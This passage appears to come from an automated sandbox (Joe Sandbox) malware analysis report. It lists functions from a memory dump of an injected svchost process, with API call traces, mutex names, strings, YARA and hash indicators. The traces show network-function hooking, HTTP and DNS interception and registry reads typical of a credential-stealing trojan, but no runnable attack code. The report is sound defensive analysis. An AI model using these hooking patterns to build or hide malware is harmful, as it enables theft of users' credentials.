                                                                                                                                                                                                              • Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
                                                                                                                                                                                                              • Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02C88322
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,send), ref: 02C88330
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WSASend), ref: 02C8834C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WSARecv), ref: 02C88368
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,recv), ref: 02C88384
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$Virtual$LibraryLoadProtect$Allocmemcpy
                                                                                                                                                                                                            • String ID: CryptEncrypt$WSARecv$WSASend$advapi32.dll$recv$send$ws2_32.dll
                                                                                                                                                                                                            • API String ID: 1216545827-2206184491
                                                                                                                                                                                                            • Opcode ID: 009819cbb39ec59092b7244a0fa23995c21bc4da5a30ebe04a12004182c48b34
                                                                                                                                                                                                            • Instruction ID: 9a52b65efe7a915dc87aac047ecc0af53a9f84a6923bcf0b944caf202d9e69fa
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 009819cbb39ec59092b7244a0fa23995c21bc4da5a30ebe04a12004182c48b34
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E3010C76BC032A30F92231751C02F6A824E5FC1ECDF968B31B906F25C4DA95E60648B8
                                                                                                                                                                                                            Function 02C902E0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9030C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C90319
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C9032D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C9033F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C90120,00000000,00000000,00000000), ref: 02C90350
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C9035F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90366
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31b90), ref: 02C9036D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31b90,KBP), ref: 02C90387
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C90390
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31b90$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
                                                                                                                                                                                                            • API String ID: 4173420962-4163430638
                                                                                                                                                                                                            • Opcode ID: 0b6ec4265ed3d3e734c9b0a50e668aede8a2d102d3d211f6fd836f1ef9661c99
                                                                                                                                                                                                            • Instruction ID: 2da9133c6d81619bcd978588399cab9ea2d0523d7024d38c1b837b514c6b9bb9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0b6ec4265ed3d3e734c9b0a50e668aede8a2d102d3d211f6fd836f1ef9661c99
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4701F930ECDB95BBFA1267614C0EF1A369C7F44B14F204750F919671C19BF4A90086AB
                                                                                                                                                                                                            Function 02C902F8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 45sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9030C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C90319
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C9032D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C9033F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C90120,00000000,00000000,00000000), ref: 02C90350
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C9035F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90366
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31b90), ref: 02C9036D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31b90,KBP), ref: 02C90387
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C90390
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31b90$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
                                                                                                                                                                                                            • API String ID: 4173420962-4163430638
                                                                                                                                                                                                            • Opcode ID: 97050be5e3da743c5baca80d7397bbdf7b8c4a97e1dc2b43ffb38693e1ddc740
                                                                                                                                                                                                            • Instruction ID: 2fbf6114131304eca77c357c6b4215e969722fbf4bac548efdacd2700ee22b59
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 97050be5e3da743c5baca80d7397bbdf7b8c4a97e1dc2b43ffb38693e1ddc740
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B301D130AC9795BBFA222B304C0EF4E369CBF45B19F104750F91A661C0DBB499018AAB
                                                                                                                                                                                                            Function 02C7DA80 Relevance: 21.4, APIs: 7, Strings: 7, Instructions: 411COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7DA94
                                                                                                                                                                                                            • StrCmpNIA.SHLWAPI(00000002,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02C7E8FF,?,?), ref: 02C7DAF5
                                                                                                                                                                                                            • StrCmpNIA.SHLWAPI(00000001,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02C7E8FF,?,?), ref: 02C7DBB1
                                                                                                                                                                                                            • memcpy.MSVCRT(?,00000000,?,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?,Host,?,?), ref: 02C7DCF3
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?,Host,?,?), ref: 02C7DDAE
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,00000000,00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?), ref: 02C7DDBF
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?,Host,?,?,?,00000000,?,?,?,00000000), ref: 02C7DDF1
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memcpy$memset
                                                                                                                                                                                                            • String ID: Content-Length$Content-Type$Host$NSS layer$Referer$http://$https://
                                                                                                                                                                                                            • API String ID: 438689982-3158524741
                                                                                                                                                                                                            • Opcode ID: 8d59738fe5088c2eaf57886d77d28275053c8d2c12aedd217a0793f37a8cd660
                                                                                                                                                                                                            • Instruction ID: dd3732c7711ec3d45edace044122e002dbadd5e24b6794fc6baae500f18ee1ff
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8d59738fe5088c2eaf57886d77d28275053c8d2c12aedd217a0793f37a8cd660
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 85D12A76E0025A9BDF25CE68C880BEEBBB5FF85314F144169D857AB240D730DA41CBA5
                                                                                                                                                                                                            Function 02C9B080 Relevance: 21.2, APIs: 14, Instructions: 212COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$closesocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3865430558-0
                                                                                                                                                                                                            • Opcode ID: 910a31fd0c6bd9dc90c70c11b12ace9fc46aebbc3afe7f0e71b855cb4b104ca5
                                                                                                                                                                                                            • Instruction ID: bf6d14dd3a9724a07df7cd090e182fe84bab0acc79f7ff47ea8ec59b600bc34a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 910a31fd0c6bd9dc90c70c11b12ace9fc46aebbc3afe7f0e71b855cb4b104ca5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BC813EB0A00A12AFCB14CF28E888A56B7E4FF48708F184669D81ADB341D735FE55CBD5
                                                                                                                                                                                                            Function 02C78240 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 120filesynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?,76233050,762330D0,76233080), ref: 02C78280
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C78294
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7829F
                                                                                                                                                                                                            • UnmapViewOfFile.KERNEL32(00000000,?,00000006,00000000), ref: 02C782C7
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C782E4
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C782F5
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C78315
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02C7832C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02C7836C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,0000007E,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02C783B4
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02C783BD
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleMutexObjectReleaseSingleViewWait$CloseCreateDesktopFreeHeapInformationMappingThreadUnmap
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2125184990-3387790918
                                                                                                                                                                                                            • Opcode ID: 3d0d9e5a832b1a5d5dcd235c828ed90d58ccb9c141292ec40fc273a3ff7295ab
                                                                                                                                                                                                            • Instruction ID: 3d477f1b7a102f56b4d127cad5f1c2a6d0e46db0bc53025ec961f26a942f3015
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3d0d9e5a832b1a5d5dcd235c828ed90d58ccb9c141292ec40fc273a3ff7295ab
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1441A171E80344ABD7119B74EC59F6A77A9EB88711F208F49FA11972C0CB74A920DFA0
                                                                                                                                                                                                            Function 02C7F300 Relevance: 21.1, APIs: 14, Instructions: 109memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F32B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F32E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F33B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F33E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F357
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,02C7F84A,00000000,?), ref: 02C7F368
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F378
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F37B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F388
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F38B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F39B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F39E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F3AB
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F3AE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate$Handle$CloseInformation
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2935687291-0
                                                                                                                                                                                                            • Opcode ID: d4623eed16cd5b81bbe464dcc97bed0d395a8c6cc79f28935bf282846adab503
                                                                                                                                                                                                            • Instruction ID: c67f42e586b1c9d74857217d00ebd9190e317d3f43df894b3a5983a969eb7d9b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d4623eed16cd5b81bbe464dcc97bed0d395a8c6cc79f28935bf282846adab503
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5431F031E853606BDB25AF61E8C8B5B7BACFF88B25F04856AED09D7240C735C500CAE1
                                                                                                                                                                                                            Function 02C80820 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 89memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C80825
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,7622F550,76231620,80000002,?,?,02C84818), ref: 02C80872
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,02C84818), ref: 02C80875
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84818), ref: 02C80882
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,02C84818), ref: 02C80885
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C8089B
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C808B9
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02C84818), ref: 02C808E7
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,02C84818), ref: 02C808EA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02C84818), ref: 02C808F7
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,02C84818), ref: 02C808FA
                                                                                                                                                                                                              • Part of subcall function 02C80570: memset.MSVCRT ref: 02C805A3
                                                                                                                                                                                                              • Part of subcall function 02C80570: memset.MSVCRT ref: 02C805BB
                                                                                                                                                                                                              • Part of subcall function 02C80570: RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000002,?,?,?,?,7622F550,76231620), ref: 02C805DC
                                                                                                                                                                                                              • Part of subcall function 02C80570: RegQueryValueExA.ADVAPI32(80000002,7D2DE64Fa,00000000,00000001,?,00000104,?,?,?,?,7622F550,76231620), ref: 02C80603
                                                                                                                                                                                                              • Part of subcall function 02C80570: GetProcessHeap.KERNEL32(00000008,?,00000000,?,?,?,?,?,?,7622F550,76231620), ref: 02C8068D
                                                                                                                                                                                                              • Part of subcall function 02C80570: HeapAlloc.KERNEL32(00000000,?,?,?,?,7622F550,76231620), ref: 02C80694
                                                                                                                                                                                                              • Part of subcall function 02C80570: memset.MSVCRT ref: 02C806A3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$memset$FreeValidatestrstr$AdminAllocOpenQueryUserValue
                                                                                                                                                                                                            • String ID: set_url
                                                                                                                                                                                                            • API String ID: 3462927349-1295111526
                                                                                                                                                                                                            • Opcode ID: cda620ee7f2803b62b935c1a84ab0733a82987d75eb891d8c4ea899b9dbdd7a6
                                                                                                                                                                                                            • Instruction ID: d2685373e9730747ddc9d2bdb1d73698abc7836ff454eabe2fa69123fa625bc9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cda620ee7f2803b62b935c1a84ab0733a82987d75eb891d8c4ea899b9dbdd7a6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B6212632E8637567E63236615C09F5B6A889FC0B59F098664ED08BB240EB61DE48C6F1
                                                                                                                                                                                                            Function 02C92A30 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02C92A4C
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C92A62
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02C92A70
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C92A79
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C92A91
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C92AA3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31cf4), ref: 02C92AAE
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31cf4,VEFK), ref: 02C92AC8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: 82c31cf4$Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$P0#v$VEFK
                                                                                                                                                                                                            • API String ID: 849374196-1622325707
                                                                                                                                                                                                            • Opcode ID: c4985611d2668c2d8f8bfd40c92cc39a25d6909fd499e99ca8dcf408cf499dbb
                                                                                                                                                                                                            • Instruction ID: cf5307aaa716208c13d45688a6128ea76d6d682987b08c38524c8f77d182b2d5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c4985611d2668c2d8f8bfd40c92cc39a25d6909fd499e99ca8dcf408cf499dbb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6901FE32EC57543BFB22A7619C0DF5A778CAF44B20F044658FD8597181DFB0951046EB
                                                                                                                                                                                                            Function 02C8D990 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02C8D9AC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8D9C2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02C8D9D0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8D9D9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8D9F1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8DA03
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31923), ref: 02C8DA0E
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31923,CRAIF), ref: 02C8DA28
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: 82c31923$CRAIF$Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}$P0#v
                                                                                                                                                                                                            • API String ID: 849374196-4133003707
                                                                                                                                                                                                            • Opcode ID: 7abecb2b965fb5de8c60606add3be0048b7e0247f73bcc70fe952d1209e163ae
                                                                                                                                                                                                            • Instruction ID: 104e8e4c2d7b88b54f5b5cd2b4d18fb869c1bcacf3b05097bf7c6afeb6e5f25f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7abecb2b965fb5de8c60606add3be0048b7e0247f73bcc70fe952d1209e163ae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F401D632EC47547AF312A7B15C0AF5A738CAF44B28F158664F909A31C1DBB499008AA6
                                                                                                                                                                                                            Function 02C75940 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53libraryloadernetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C75940
                                                                                                                                                                                                            • DnsFlushResolverCache.DNSAPI ref: 02C7594A
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Dnsapi.dll,00000000,00000000,75AF7390), ref: 02C7595A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 02C75973
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_UTF8), ref: 02C7598F
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,DnsQuery_W), ref: 02C759AB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Query_Main), ref: 02C759C7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$AdminCacheFlushLibraryLoadResolverUser
                                                                                                                                                                                                            • String ID: DnsQuery_A$DnsQuery_UTF8$DnsQuery_W$Dnsapi.dll$Query_Main
                                                                                                                                                                                                            • API String ID: 2466897691-3547598143
                                                                                                                                                                                                            • Opcode ID: a2de0311593b83e19bab61a1b851fb9f8a9320d1bfd5ea6f19e30cd09f312231
